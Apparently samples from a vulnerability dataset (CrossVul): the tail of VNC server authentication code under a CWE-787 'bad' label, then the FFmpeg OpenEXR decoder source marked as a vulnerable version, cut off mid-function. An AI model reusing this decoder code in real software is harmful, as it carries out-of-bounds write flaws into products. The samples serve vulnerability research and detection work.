0 : strlen(reason); buf32[0] = Swap32IfLE(rfbAuthFailed); buf32[1] = Swap32IfLE(reasonLen); if (reasonLen == 0) { if (WriteExact(cl, buf, 4) < 0) rfbLogPerror("rfbClientAuthFailed: write"); } else { if (WriteExact(cl, buf, 8) < 0 || WriteExact(cl, reason, reasonLen) < 0) rfbLogPerror("rfbClientAuthFailed: write"); } rfbCloseClient(cl); } /* * rfbClientAuthSucceeded is called on successful authentication. It just * sends rfbAuthOK and dispatches client input to * rfbProcessClientInitMessage(). However, the rfbAuthOK message is not sent * if authentication was not required and the protocol version is 3.7 or lower. */ void rfbClientAuthSucceeded(rfbClientPtr cl, CARD32 authType) { CARD32 authResult; if (cl->protocol_minor_ver >= 8 || authType == rfbAuthVNC) { authResult = Swap32IfLE(rfbAuthOK); if (WriteExact(cl, (char *)&authResult, 4) < 0) { rfbLogPerror("rfbClientAuthSucceeded: write"); rfbCloseClient(cl); return; } } /* Dispatch client input to rfbProcessClientInitMessage() */ cl->state = RFB_INITIALISATION; } /********************************************************************* * Functions to prevent too many successive authentication failures. * * FIXME: This should be performed separately for each client. */ /* Maximum authentication failures before blocking connections */ #define MAX_AUTH_TRIES 5 /* Delay in ms. This doubles for each failure over MAX_AUTH_TRIES. */ #define AUTH_TOO_MANY_BASE_DELAY 10 * 1000 static int rfbAuthTries = 0; static Bool rfbAuthTooManyTries = FALSE; static OsTimerPtr timer = NULL; /* * This function should not be called directly. It is called by setting a * timer in rfbAuthConsiderBlocking(). */ static CARD32 rfbAuthReenable(OsTimerPtr timer, CARD32 now, pointer arg) { rfbAuthTooManyTries = FALSE; return 0; } /* * This function should be called after each authentication failure. The * return value will be true if there were too many failures. */ Bool rfbAuthConsiderBlocking(void) { int i; rfbAuthTries++; if (rfbAuthTries >= MAX_AUTH_TRIES) { CARD32 delay = AUTH_TOO_MANY_BASE_DELAY; for (i = MAX_AUTH_TRIES; i < rfbAuthTries; i++) delay *= 2; timer = TimerSet(timer, 0, delay, rfbAuthReenable, NULL); rfbAuthTooManyTries = TRUE; return TRUE; } return FALSE; } /* * This function should be called after a successful authentication. It * resets the counter of authentication failures. Note that it's not necessary * to clear the rfbAuthTooManyTries flag, as it will be reset by the timer * function. */ void rfbAuthUnblock(void) { rfbAuthTries = 0; } /* * This function should be called before authentication. The return value will * be true if there were too many authentication failures, and the server * should not allow another try. */ Bool rfbAuthIsBlocked(void) { return rfbAuthTooManyTries; }
./CrossVul/dataset_final_sorted/CWE-787/c/bad_1040_0
crossvul-cpp_data_bad_4486_0
/* * OpenEXR (.exr) image decoder * Copyright (c) 2006 Industrial Light & Magic, a division of Lucas Digital Ltd. LLC * Copyright (c) 2009 Jimmy Christensen * * B44/B44A, Tile, UINT32 added by Jokyo Images support by CNC - French National Center for Cinema * * This file is part of FFmpeg. * * FFmpeg is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * FFmpeg is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with FFmpeg; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ /** * @file * OpenEXR decoder * @author Jimmy Christensen * * For more information on the OpenEXR format, visit: * http://openexr.com/ * * exr_half2float() is credited to Aaftab Munshi, Dan Ginsburg, Dave Shreiner. */ #include <float.h> #include <zlib.h> #include "libavutil/avassert.h" #include "libavutil/common.h" #include "libavutil/imgutils.h" #include "libavutil/intfloat.h" #include "libavutil/avstring.h" #include "libavutil/opt.h" #include "libavutil/color_utils.h" #include "avcodec.h" #include "bytestream.h" #if HAVE_BIGENDIAN #include "bswapdsp.h" #endif #include "exrdsp.h" #include "get_bits.h" #include "internal.h" #include "mathops.h" #include "thread.h" enum ExrCompr { EXR_RAW, EXR_RLE, EXR_ZIP1, EXR_ZIP16, EXR_PIZ, EXR_PXR24, EXR_B44, EXR_B44A, EXR_DWA, EXR_DWB, EXR_UNKN, }; enum ExrPixelType { EXR_UINT, EXR_HALF, EXR_FLOAT, EXR_UNKNOWN, }; enum ExrTileLevelMode { EXR_TILE_LEVEL_ONE, EXR_TILE_LEVEL_MIPMAP, EXR_TILE_LEVEL_RIPMAP, EXR_TILE_LEVEL_UNKNOWN, }; enum ExrTileLevelRound { EXR_TILE_ROUND_UP, EXR_TILE_ROUND_DOWN, EXR_TILE_ROUND_UNKNOWN, }; typedef struct EXRChannel { int xsub, ysub; enum ExrPixelType pixel_type; } EXRChannel; typedef struct EXRTileAttribute { int32_t xSize; int32_t ySize; enum ExrTileLevelMode level_mode; enum ExrTileLevelRound level_round; } EXRTileAttribute; typedef struct EXRThreadData { uint8_t *uncompressed_data; int uncompressed_size; uint8_t *tmp; int tmp_size; uint8_t *bitmap; uint16_t *lut; int ysize, xsize; int channel_line_size; } EXRThreadData; typedef struct EXRContext { AVClass *class; AVFrame *picture; AVCodecContext *avctx; ExrDSPContext dsp; #if HAVE_BIGENDIAN BswapDSPContext bbdsp; #endif enum ExrCompr compression; enum ExrPixelType pixel_type; int channel_offsets[4]; // 0 = red, 1 = green, 2 = blue and 3 = alpha const AVPixFmtDescriptor *desc; int w, h; int32_t xmax, xmin; int32_t ymax, ymin; uint32_t xdelta, ydelta; int scan_lines_per_block; EXRTileAttribute tile_attr; /* header data attribute of tile */ int is_tile; /* 0 if scanline, 1 if tile */ int is_luma;/* 1 if there is an Y plane */ GetByteContext gb; const uint8_t *buf; int buf_size; EXRChannel *channels; int nb_channels; int current_channel_offset; EXRThreadData *thread_data; const char *layer; enum AVColorTransferCharacteristic apply_trc_type; float gamma; union av_intfloat32 gamma_table[65536]; } EXRContext; /* -15 stored using a single precision bias of 127 */ #define HALF_FLOAT_MIN_BIASED_EXP_AS_SINGLE_FP_EXP 0x38000000 /* max exponent value in single precision that will be converted * to Inf or Nan when stored as a half-float */ #define HALF_FLOAT_MAX_BIASED_EXP_AS_SINGLE_FP_EXP 0x47800000 /* 255 is the max exponent biased value */ #define FLOAT_MAX_BIASED_EXP (0xFF << 23) #define HALF_FLOAT_MAX_BIASED_EXP (0x1F << 10) /** * Convert a half float as a uint16_t into a full float. * * @param hf half float as uint16_t * * @return float value */ static union av_intfloat32 exr_half2float(uint16_t hf) { unsigned int sign = (unsigned int) (hf >> 15); unsigned int mantissa = (unsigned int) (hf & ((1 << 10) - 1)); unsigned int exp = (unsigned int) (hf & HALF_FLOAT_MAX_BIASED_EXP); union av_intfloat32 f; if (exp == HALF_FLOAT_MAX_BIASED_EXP) { // we have a half-float NaN or Inf // half-float NaNs will be converted to a single precision NaN // half-float Infs will be converted to a single precision Inf exp = FLOAT_MAX_BIASED_EXP; if (mantissa) mantissa = (1 << 23) - 1; // set all bits to indicate a NaN } else if (exp == 0x0) { // convert half-float zero/denorm to single precision value if (mantissa) { mantissa <<= 1; exp = HALF_FLOAT_MIN_BIASED_EXP_AS_SINGLE_FP_EXP; // check for leading 1 in denorm mantissa while (!(mantissa & (1 << 10))) { // for every leading 0, decrement single precision exponent by 1 // and shift half-float mantissa value to the left mantissa <<= 1; exp -= (1 << 23); } // clamp the mantissa to 10 bits mantissa &= ((1 << 10) - 1); // shift left to generate single-precision mantissa of 23 bits mantissa <<= 13; } } else { // shift left to generate single-precision mantissa of 23 bits mantissa <<= 13; // generate single precision biased exponent value exp = (exp << 13) + HALF_FLOAT_MIN_BIASED_EXP_AS_SINGLE_FP_EXP; } f.i = (sign << 31) | exp | mantissa; return f; } static int zip_uncompress(EXRContext *s, const uint8_t *src, int compressed_size, int uncompressed_size, EXRThreadData *td) { unsigned long dest_len = uncompressed_size; if (uncompress(td->tmp, &dest_len, src, compressed_size) != Z_OK || dest_len != uncompressed_size) return AVERROR_INVALIDDATA; av_assert1(uncompressed_size % 2 == 0); s->dsp.predictor(td->tmp, uncompressed_size); s->dsp.reorder_pixels(td->uncompressed_data, td->tmp, uncompressed_size); return 0; } static int rle_uncompress(EXRContext *ctx, const uint8_t *src, int compressed_size, int uncompressed_size, EXRThreadData *td) { uint8_t *d = td->tmp; const int8_t *s = src; int ssize = compressed_size; int dsize = uncompressed_size; uint8_t *dend = d + dsize; int count; while (ssize > 0) { count = *s++; if (count < 0) { count = -count; if ((dsize -= count) < 0 || (ssize -= count + 1) < 0) return AVERROR_INVALIDDATA; while (count--) *d++ = *s++; } else { count++; if ((dsize -= count) < 0 || (ssize -= 2) < 0) return AVERROR_INVALIDDATA; while (count--) *d++ = *s; s++; } } if (dend != d) return AVERROR_INVALIDDATA; av_assert1(uncompressed_size % 2 == 0); ctx->dsp.predictor(td->tmp, uncompressed_size); ctx->dsp.reorder_pixels(td->uncompressed_data, td->tmp, uncompressed_size); return 0; } #define USHORT_RANGE (1 << 16) #define BITMAP_SIZE (1 << 13) static uint16_t reverse_lut(const uint8_t *bitmap, uint16_t *lut) { int i, k = 0; for (i = 0; i < USHORT_RANGE; i++) if ((i == 0) || (bitmap[i >> 3] & (1 << (i & 7)))) lut[k++] = i; i = k - 1; memset(lut + k, 0, (USHORT_RANGE - k) * 2); return i; } static void apply_lut(const uint16_t *lut, uint16_t *dst, int dsize) { int i; for (i = 0; i < dsize; ++i) dst[i] = lut[dst[i]]; } #define HUF_ENCBITS 16 // literal (value) bit length #define HUF_DECBITS 14 // decoding bit size (>= 8) #define HUF_ENCSIZE ((1 << HUF_ENCBITS) + 1) // encoding table size #define HUF_DECSIZE (1 << HUF_DECBITS) // decoding table size #define HUF_DECMASK (HUF_DECSIZE - 1) typedef struct HufDec { int len; int lit; int *p; } HufDec; static void huf_canonical_code_table(uint64_t *hcode) { uint64_t c, n[59] = { 0 }; int i; for (i = 0; i < HUF_ENCSIZE; ++i) n[hcode[i]] += 1; c = 0; for (i = 58; i > 0; --i) { uint64_t nc = ((c + n[i]) >> 1); n[i] = c; c = nc; } for (i = 0; i < HUF_ENCSIZE; ++i) { int l = hcode[i]; if (l > 0) hcode[i] = l | (n[l]++ << 6); } } #define SHORT_ZEROCODE_RUN 59 #define LONG_ZEROCODE_RUN 63 #define SHORTEST_LONG_RUN (2 + LONG_ZEROCODE_RUN - SHORT_ZEROCODE_RUN) #define LONGEST_LONG_RUN (255 + SHORTEST_LONG_RUN) static int huf_unpack_enc_table(GetByteContext *gb, int32_t im, int32_t iM, uint64_t *hcode) { GetBitContext gbit; int ret = init_get_bits8(&gbit, gb->buffer, bytestream2_get_bytes_left(gb)); if (ret < 0) return ret; for (; im <= iM; im++) { uint64_t l = hcode[im] = get_bits(&gbit, 6); if (l == LONG_ZEROCODE_RUN) { int zerun = get_bits(&gbit, 8) + SHORTEST_LONG_RUN; if (im + zerun > iM + 1) return AVERROR_INVALIDDATA; while (zerun--) hcode[im++] = 0; im--; } else if (l >= SHORT_ZEROCODE_RUN) { int zerun = l - SHORT_ZEROCODE_RUN + 2; if (im + zerun > iM + 1) return AVERROR_INVALIDDATA; while (zerun--) hcode[im++] = 0; im--; } } bytestream2_skip(gb, (get_bits_count(&gbit) + 7) / 8); huf_canonical_code_table(hcode); return 0; } static int huf_build_dec_table(const uint64_t *hcode, int im, int iM, HufDec *hdecod) { for (; im <= iM; im++) { uint64_t c = hcode[im] >> 6; int i, l = hcode[im] & 63; if (c >> l) return AVERROR_INVALIDDATA; if (l > HUF_DECBITS) { HufDec *pl = hdecod + (c >> (l - HUF_DECBITS)); if (pl->len) return AVERROR_INVALIDDATA; pl->lit++; pl->p = av_realloc(pl->p, pl->lit * sizeof(int)); if (!pl->p) return AVERROR(ENOMEM); pl->p[pl->lit - 1] = im; } else if (l) { HufDec *pl = hdecod + (c << (HUF_DECBITS - l)); for (i = 1 << (HUF_DECBITS - l); i > 0; i--, pl++) { if (pl->len || pl->p) return AVERROR_INVALIDDATA; pl->len = l; pl->lit = im; } } } return 0; } #define get_char(c, lc, gb) \ { \ c = (c << 8) | bytestream2_get_byte(gb); \ lc += 8; \ } #define get_code(po, rlc, c, lc, gb, out, oe, outb) \ { \ if (po == rlc) { \ if (lc < 8) \ get_char(c, lc, gb); \ lc -= 8; \ \ cs = c >> lc; \ \ if (out + cs > oe || out == outb) \ return AVERROR_INVALIDDATA; \ \ s = out[-1]; \ \ while (cs-- > 0) \ *out++ = s; \ } else if (out < oe) { \ *out++ = po; \ } else { \ return AVERROR_INVALIDDATA; \ } \ } static int huf_decode(const uint64_t *hcode, const HufDec *hdecod, GetByteContext *gb, int nbits, int rlc, int no, uint16_t *out) { uint64_t c = 0; uint16_t *outb = out; uint16_t *oe = out + no; const uint8_t *ie = gb->buffer + (nbits + 7) / 8; // input byte size uint8_t cs; uint16_t s; int i, lc = 0; while (gb->buffer < ie) { get_char(c, lc, gb); while (lc >= HUF_DECBITS) { const HufDec pl = hdecod[(c >> (lc - HUF_DECBITS)) & HUF_DECMASK]; if (pl.len) { lc -= pl.len; get_code(pl.lit, rlc, c, lc, gb, out, oe, outb); } else { int j; if (!pl.p) return AVERROR_INVALIDDATA; for (j = 0; j < pl.lit; j++) { int l = hcode[pl.p[j]] & 63; while (lc < l && bytestream2_get_bytes_left(gb) > 0) get_char(c, lc, gb); if (lc >= l) { if ((hcode[pl.p[j]] >> 6) == ((c >> (lc - l)) & ((1LL << l) - 1))) { lc -= l; get_code(pl.p[j], rlc, c, lc, gb, out, oe, outb); break; } } } if (j == pl.lit) return AVERROR_INVALIDDATA; } } } i = (8 - nbits) & 7; c >>= i; lc -= i; while (lc > 0) { const HufDec pl = hdecod[(c << (HUF_DECBITS - lc)) & HUF_DECMASK]; if (pl.len && lc >= pl.len) { lc -= pl.len; get_code(pl.lit, rlc, c, lc, gb, out, oe, outb); } else { return AVERROR_INVALIDDATA; } } if (out - outb != no) return AVERROR_INVALIDDATA; return 0; } static int huf_uncompress(GetByteContext *gb, uint16_t *dst, int dst_size) { int32_t src_size, im, iM; uint32_t nBits; uint64_t *freq; HufDec *hdec; int ret, i; src_size = bytestream2_get_le32(gb); im = bytestream2_get_le32(gb); iM = bytestream2_get_le32(gb); bytestream2_skip(gb, 4); nBits = bytestream2_get_le32(gb); if (im < 0 || im >= HUF_ENCSIZE || iM < 0 || iM >= HUF_ENCSIZE || src_size < 0) return AVERROR_INVALIDDATA; bytestream2_skip(gb, 4); freq = av_mallocz_array(HUF_ENCSIZE, sizeof(*freq)); hdec = av_mallocz_array(HUF_DECSIZE, sizeof(*hdec)); if (!freq || !hdec) { ret = AVERROR(ENOMEM); goto fail; } if ((ret = huf_unpack_enc_table(gb, im, iM, freq)) < 0) goto fail; if (nBits > 8 * bytestream2_get_bytes_left(gb)) { ret = AVERROR_INVALIDDATA; goto fail; } if ((ret = huf_build_dec_table(freq, im, iM, hdec)) < 0) goto fail; ret = huf_decode(freq, hdec, gb, nBits, iM, dst_size, dst); fail: for (i = 0; i < HUF_DECSIZE; i++) if (hdec) av_freep(&hdec[i].p); av_free(freq); av_free(hdec); return ret; } static inline void wdec14(uint16_t l, uint16_t h, uint16_t *a, uint16_t *b) { int16_t ls = l; int16_t hs = h; int hi = hs; int ai = ls + (hi & 1) + (hi >> 1); int16_t as = ai; int16_t bs = ai - hi; *a = as; *b = bs; } #define NBITS 16 #define A_OFFSET (1 << (NBITS - 1)) #define MOD_MASK ((1 << NBITS) - 1) static inline void wdec16(uint16_t l, uint16_t h, uint16_t *a, uint16_t *b) { int m = l; int d = h; int bb = (m - (d >> 1)) & MOD_MASK; int aa = (d + bb - A_OFFSET) & MOD_MASK; *b = bb; *a = aa; } static void wav_decode(uint16_t *in, int nx, int ox, int ny, int oy, uint16_t mx) { int w14 = (mx < (1 << 14)); int n = (nx > ny) ? ny : nx; int p = 1; int p2; while (p <= n) p <<= 1; p >>= 1; p2 = p; p >>= 1; while (p >= 1) { uint16_t *py = in; uint16_t *ey = in + oy * (ny - p2); uint16_t i00, i01, i10, i11; int oy1 = oy * p; int oy2 = oy * p2; int ox1 = ox * p; int ox2 = ox * p2; for (; py <= ey; py += oy2) { uint16_t *px = py; uint16_t *ex = py + ox * (nx - p2); for (; px <= ex; px += ox2) { uint16_t *p01 = px + ox1; uint16_t *p10 = px + oy1; uint16_t *p11 = p10 + ox1; if (w14) { wdec14(*px, *p10, &i00, &i10); wdec14(*p01, *p11, &i01, &i11); wdec14(i00, i01, px, p01); wdec14(i10, i11, p10, p11); } else { wdec16(*px, *p10, &i00, &i10); wdec16(*p01, *p11, &i01, &i11); wdec16(i00, i01, px, p01); wdec16(i10, i11, p10, p11); } } if (nx & p) { uint16_t *p10 = px + oy1; if (w14) wdec14(*px, *p10, &i00, p10); else wdec16(*px, *p10, &i00, p10); *px = i00; } } if (ny & p) { uint16_t *px = py; uint16_t *ex = py + ox * (nx - p2); for (; px <= ex; px += ox2) { uint16_t *p01 = px + ox1; if (w14) wdec14(*px, *p01, &i00, p01); else wdec16(*px, *p01, &i00, p01); *px = i00; } } p2 = p; p >>= 1; } } static int piz_uncompress(EXRContext *s, const uint8_t *src, int ssize, int dsize, EXRThreadData *td) { GetByteContext gb; uint16_t maxval, min_non_zero, max_non_zero; uint16_t *ptr; uint16_t *tmp = (uint16_t *)td->tmp; uint16_t *out; uint16_t *in; int ret, i, j; int pixel_half_size;/* 1 for half, 2 for float and uint32 */ EXRChannel *channel; int tmp_offset; if (!td->bitmap) td->bitmap = av_malloc(BITMAP_SIZE); if (!td->lut) td->lut = av_malloc(1 << 17); if (!td->bitmap || !td->lut) { av_freep(&td->bitmap); av_freep(&td->lut); return AVERROR(ENOMEM); } bytestream2_init(&gb, src, ssize); min_non_zero = bytestream2_get_le16(&gb); max_non_zero = bytestream2_get_le16(&gb); if (max_non_zero >= BITMAP_SIZE) return AVERROR_INVALIDDATA; memset(td->bitmap, 0, FFMIN(min_non_zero, BITMAP_SIZE)); if (min_non_zero <= max_non_zero) bytestream2_get_buffer(&gb, td->bitmap + min_non_zero, max_non_zero - min_non_zero + 1); memset(td->bitmap + max_non_zero + 1, 0, BITMAP_SIZE - max_non_zero - 1); maxval = reverse_lut(td->bitmap, td->lut); ret = huf_uncompress(&gb, tmp, dsize / sizeof(uint16_t)); if (ret) return ret; ptr = tmp; for (i = 0; i < s->nb_channels; i++) { channel = &s->channels[i]; if (channel->pixel_type == EXR_HALF) pixel_half_size = 1; else pixel_half_size = 2; for (j = 0; j < pixel_half_size; j++) wav_decode(ptr + j, td->xsize, pixel_half_size, td->ysize, td->xsize * pixel_half_size, maxval); ptr += td->xsize * td->ysize * pixel_half_size; } apply_lut(td->lut, tmp, dsize / sizeof(uint16_t)); out = (uint16_t *)td->uncompressed_data; for (i = 0; i < td->ysize; i++) { tmp_offset = 0; for (j = 0; j < s->nb_channels; j++) { channel = &s->channels[j]; if (channel->pixel_type == EXR_HALF) pixel_half_size = 1; else pixel_half_size = 2; in = tmp + tmp_offset * td->xsize * td->ysize + i * td->xsize * pixel_half_size; tmp_offset += pixel_half_size; #if HAVE_BIGENDIAN s->bbdsp.bswap16_buf(out, in, td->xsize * pixel_half_size); #else memcpy(out, in, td->xsize * 2 * pixel_half_size); #endif out += td->xsize * pixel_half_size; } } return 0; } static int pxr24_uncompress(EXRContext *s, const uint8_t *src, int compressed_size, int uncompressed_size, EXRThreadData *td) { unsigned long dest_len, expected_len = 0; const uint8_t *in = td->tmp; uint8_t *out; int c, i, j; for (i = 0; i < s->nb_channels; i++) { if (s->channels[i].pixel_type == EXR_FLOAT) { expected_len += (td->xsize * td->ysize * 3);/* PRX 24 store float in 24 bit instead of 32 */ } else if (s->channels[i].pixel_type == EXR_HALF) { expected_len += (td->xsize * td->ysize * 2); } else {//UINT 32 expected_len += (td->xsize * td->ysize * 4); } } dest_len = expected_len; if (uncompress(td->tmp, &dest_len, src, compressed_size) != Z_OK) { return AVERROR_INVALIDDATA; } else if (dest_len != expected_len) { return AVERROR_INVALIDDATA; } out = td->uncompressed_data; for (i = 0; i < td->ysize; i++) for (c = 0; c < s->nb_channels; c++) { EXRChannel *channel = &s->channels[c]; const uint8_t *ptr[4]; uint32_t pixel = 0; switch (channel->pixel_type) { case EXR_FLOAT: ptr[0] = in; ptr[1] = ptr[0] + td->xsize; ptr[2] = ptr[1] + td->xsize; in = ptr[2] + td->xsize; for (j = 0; j < td->xsize; ++j) { uint32_t diff = ((unsigned)*(ptr[0]++) << 24) | (*(ptr[1]++) << 16) | (*(ptr[2]++) << 8); pixel += diff; bytestream_put_le32(&out, pixel); } break; case EXR_HALF: ptr[0] = in; ptr[1] = ptr[0] + td->xsize; in = ptr[1] + td->xsize; for (j = 0; j < td->xsize; j++) { uint32_t diff = (*(ptr[0]++) << 8) | *(ptr[1]++); pixel += diff; bytestream_put_le16(&out, pixel); } break; case EXR_UINT: ptr[0] = in; ptr[1] = ptr[0] + s->xdelta; ptr[2] = ptr[1] + s->xdelta; ptr[3] = ptr[2] + s->xdelta; in = ptr[3] + s->xdelta; for (j = 0; j < s->xdelta; ++j) { uint32_t diff = ((uint32_t)*(ptr[0]++) << 24) | (*(ptr[1]++) << 16) | (*(ptr[2]++) << 8 ) | (*(ptr[3]++)); pixel += diff; bytestream_put_le32(&out, pixel); } break; default: return AVERROR_INVALIDDATA; } } return 0; } static void unpack_14(const uint8_t b[14], uint16_t s[16]) { unsigned short shift = (b[ 2] >> 2) & 15; unsigned short bias = (0x20 << shift); int i; s[ 0] = (b[0] << 8) | b[1]; s[ 4] = s[ 0] + ((((b[ 2] << 4) | (b[ 3] >> 4)) & 0x3f) << shift) - bias; s[ 8] = s[ 4] + ((((b[ 3] << 2) | (b[ 4] >> 6)) & 0x3f) << shift) - bias; s[12] = s[ 8] + ((b[ 4] & 0x3f) << shift) - bias; s[ 1] = s[ 0] + ((b[ 5] >> 2) << shift) - bias; s[ 5] = s[ 4] + ((((b[ 5] << 4) | (b[ 6] >> 4)) & 0x3f) << shift) - bias; s[ 9] = s[ 8] + ((((b[ 6] << 2) | (b[ 7] >> 6)) & 0x3f) << shift) - bias; s[13] = s[12] + ((b[ 7] & 0x3f) << shift) - bias; s[ 2] = s[ 1] + ((b[ 8] >> 2) << shift) - bias; s[ 6] = s[ 5] + ((((b[ 8] << 4) | (b[ 9] >> 4)) & 0x3f) << shift) - bias; s[10] = s[ 9] + ((((b[ 9] << 2) | (b[10] >> 6)) & 0x3f) << shift) - bias; s[14] = s[13] + ((b[10] & 0x3f) << shift) - bias; s[ 3] = s[ 2] + ((b[11] >> 2) << shift) - bias; s[ 7] = s[ 6] + ((((b[11] << 4) | (b[12] >> 4)) & 0x3f) << shift) - bias; s[11] = s[10] + ((((b[12] << 2) | (b[13] >> 6)) & 0x3f) << shift) - bias; s[15] = s[14] + ((b[13] & 0x3f) << shift) - bias; for (i = 0; i < 16; ++i) { if (s[i] & 0x8000) s[i] &= 0x7fff; else s[i] = ~s[i]; } } static void unpack_3(const uint8_t b[3], uint16_t s[16]) { int i; s[0] = (b[0] << 8) | b[1]; if (s[0] & 0x8000) s[0] &= 0x7fff; else s[0] = ~s[0]; for (i = 1; i < 16; i++) s[i] = s[0]; } static int b44_uncompress(EXRContext *s, const uint8_t *src, int compressed_size, int uncompressed_size, EXRThreadData *td) { const int8_t *sr = src; int stay_to_uncompress = compressed_size; int nb_b44_block_w, nb_b44_block_h; int index_tl_x, index_tl_y, index_out, index_tmp; uint16_t tmp_buffer[16]; /* B44 use 4x4 half float pixel */ int c, iY, iX, y, x; int target_channel_offset = 0; /* calc B44 block count */ nb_b44_block_w = td->xsize / 4; if ((td->xsize % 4) != 0) nb_b44_block_w++; nb_b44_block_h = td->ysize / 4; if ((td->ysize % 4) != 0) nb_b44_block_h++; for (c = 0; c < s->nb_channels; c++) { if (s->channels[c].pixel_type == EXR_HALF) {/* B44 only compress half float data */ for (iY = 0; iY < nb_b44_block_h; iY++) { for (iX = 0; iX < nb_b44_block_w; iX++) {/* For each B44 block */ if (stay_to_uncompress < 3) { av_log(s, AV_LOG_ERROR, "Not enough data for B44A block: %d", stay_to_uncompress); return AVERROR_INVALIDDATA; } if (src[compressed_size - stay_to_uncompress + 2] == 0xfc) { /* B44A block */ unpack_3(sr, tmp_buffer); sr += 3; stay_to_uncompress -= 3; } else {/* B44 Block */ if (stay_to_uncompress < 14) { av_log(s, AV_LOG_ERROR, "Not enough data for B44 block: %d", stay_to_uncompress); return AVERROR_INVALIDDATA; } unpack_14(sr, tmp_buffer); sr += 14; stay_to_uncompress -= 14; } /* copy data to uncompress buffer (B44 block can exceed target resolution)*/ index_tl_x = iX * 4; index_tl_y = iY * 4; for (y = index_tl_y; y < FFMIN(index_tl_y + 4, td->ysize); y++) { for (x = index_tl_x; x < FFMIN(index_tl_x + 4, td->xsize); x++) { index_out = target_channel_offset * td->xsize + y * td->channel_line_size + 2 * x; index_tmp = (y-index_tl_y) * 4 + (x-index_tl_x); td->uncompressed_data[index_out] = tmp_buffer[index_tmp] & 0xff; td->uncompressed_data[index_out + 1] = tmp_buffer[index_tmp] >> 8; } } } } target_channel_offset += 2; } else {/* Float or UINT 32 channel */ if (stay_to_uncompress < td->ysize * td->xsize * 4) { av_log(s, AV_LOG_ERROR, "Not enough data for uncompress channel: %d", stay_to_uncompress); return AVERROR_INVALIDDATA; } for (y = 0; y < td->ysize; y++) { index_out = target_channel_offset * td->xsize + y * td->channel_line_size; memcpy(&td->uncompressed_data[index_out], sr, td->xsize * 4); sr += td->xsize * 4; } target_channel_offset += 4; stay_to_uncompress -= td->ysize * td->xsize * 4; } } return 0; } static int decode_block(AVCodecContext *avctx, void *tdata, int jobnr, int threadnr) { EXRContext *s = avctx->priv_data; AVFrame *const p = s->picture; EXRThreadData *td = &s->thread_data[threadnr]; const uint8_t *channel_buffer[4] = { 0 }; const uint8_t *buf = s->buf; uint64_t line_offset, uncompressed_size; uint8_t *ptr; uint32_t data_size; int line, col = 0; uint64_t tile_x, tile_y, tile_level_x, tile_level_y; const uint8_t *src; int step = s->desc->flags & AV_PIX_FMT_FLAG_FLOAT ? 4 : 2 * s->desc->nb_components; int bxmin = 0, axmax = 0, window_xoffset = 0; int window_xmin, window_xmax, window_ymin, window_ymax; int data_xoffset, data_yoffset, data_window_offset, xsize, ysize; int i, x, buf_size = s->buf_size; int c, rgb_channel_count; float one_gamma = 1.0f / s->gamma; avpriv_trc_function trc_func = avpriv_get_trc_function_from_trc(s->apply_trc_type); int ret; line_offset = AV_RL64(s->gb.buffer + jobnr * 8); if (s->is_tile) { if (buf_size < 20 || line_offset > buf_size - 20) return AVERROR_INVALIDDATA; src = buf + line_offset + 20; tile_x = AV_RL32(src - 20); tile_y = AV_RL32(src - 16); tile_level_x = AV_RL32(src - 12); tile_level_y = AV_RL32(src - 8); data_size = AV_RL32(src - 4); if (data_size <= 0 || data_size > buf_size - line_offset - 20) return AVERROR_INVALIDDATA; if (tile_level_x || tile_level_y) { /* tile level, is not the full res level */ avpriv_report_missing_feature(s->avctx, "Subres tile before full res tile"); return AVERROR_PATCHWELCOME; } line = s->ymin + s->tile_attr.ySize * tile_y; col = s->tile_attr.xSize * tile_x; if (line < s->ymin || line > s->ymax || s->xmin + col < s->xmin || s->xmin + col > s->xmax) return AVERROR_INVALIDDATA; td->ysize = FFMIN(s->tile_attr.ySize, s->ydelta - tile_y * s->tile_attr.ySize); td->xsize = FFMIN(s->tile_attr.xSize, s->xdelta - tile_x * s->tile_attr.xSize); if (td->xsize * (uint64_t)s->current_channel_offset > INT_MAX) return AVERROR_INVALIDDATA; td->channel_line_size = td->xsize * s->current_channel_offset;/* uncompress size of one line */ uncompressed_size = td->channel_line_size * (uint64_t)td->ysize;/* uncompress size of the block */ } else { if (buf_size < 8 || line_offset > buf_size - 8) return AVERROR_INVALIDDATA; src = buf + line_offset + 8; line = AV_RL32(src - 8); if (line < s->ymin || line > s->ymax) return AVERROR_INVALIDDATA; data_size = AV_RL32(src - 4); if (data_size <= 0 || data_size > buf_size - line_offset - 8) return AVERROR_INVALIDDATA; td->ysize = FFMIN(s->scan_lines_per_block, s->ymax - line + 1); /* s->ydelta - line ?? */ td->xsize = s->xdelta; if (td->xsize * (uint64_t)s->current_channel_offset > INT_MAX) return AVERROR_INVALIDDATA; td->channel_line_size = td->xsize * s->current_channel_offset;/* uncompress size of one line */ uncompressed_size = td->channel_line_size * (uint64_t)td->ysize;/* uncompress size of the block */ if ((s->compression == EXR_RAW && (data_size != uncompressed_size || line_offset > buf_size - uncompressed_size)) || (s->compression != EXR_RAW && (data_size > uncompressed_size || line_offset > buf_size - data_size))) { return AVERROR_INVALIDDATA; } } window_xmin = FFMIN(avctx->width, FFMAX(0, s->xmin + col)); window_xmax = FFMIN(avctx->width, FFMAX(0, s->xmin + col + td->xsize)); window_ymin = FFMIN(avctx->height, FFMAX(0, line )); window_ymax = FFMIN(avctx->height, FFMAX(0, line + td->ysize)); xsize = window_xmax - window_xmin; ysize = window_ymax - window_ymin; /* tile or scanline not visible skip decoding */ if (xsize <= 0 || ysize <= 0) return 0; /* is the first tile or is a scanline */ if(col == 0) { window_xmin = 0; /* pixels to add at the left of the display window */ window_xoffset = FFMAX(0, s->xmin); /* bytes to add at the left of the display window */ bxmin = window_xoffset * step; } /* is the last tile or is a scanline */ if(col + td->xsize == s->xdelta) { window_xmax = avctx->width; /* bytes to add at the right of the display window */ axmax = FFMAX(0, (avctx->width - (s->xmax + 1))) * step; } if (data_size < uncompressed_size || s->is_tile) { /* td->tmp is use for tile reorganization */ av_fast_padded_malloc(&td->tmp, &td->tmp_size, uncompressed_size); if (!td->tmp) return AVERROR(ENOMEM); } if (data_size < uncompressed_size) { av_fast_padded_malloc(&td->uncompressed_data, &td->uncompressed_size, uncompressed_size + 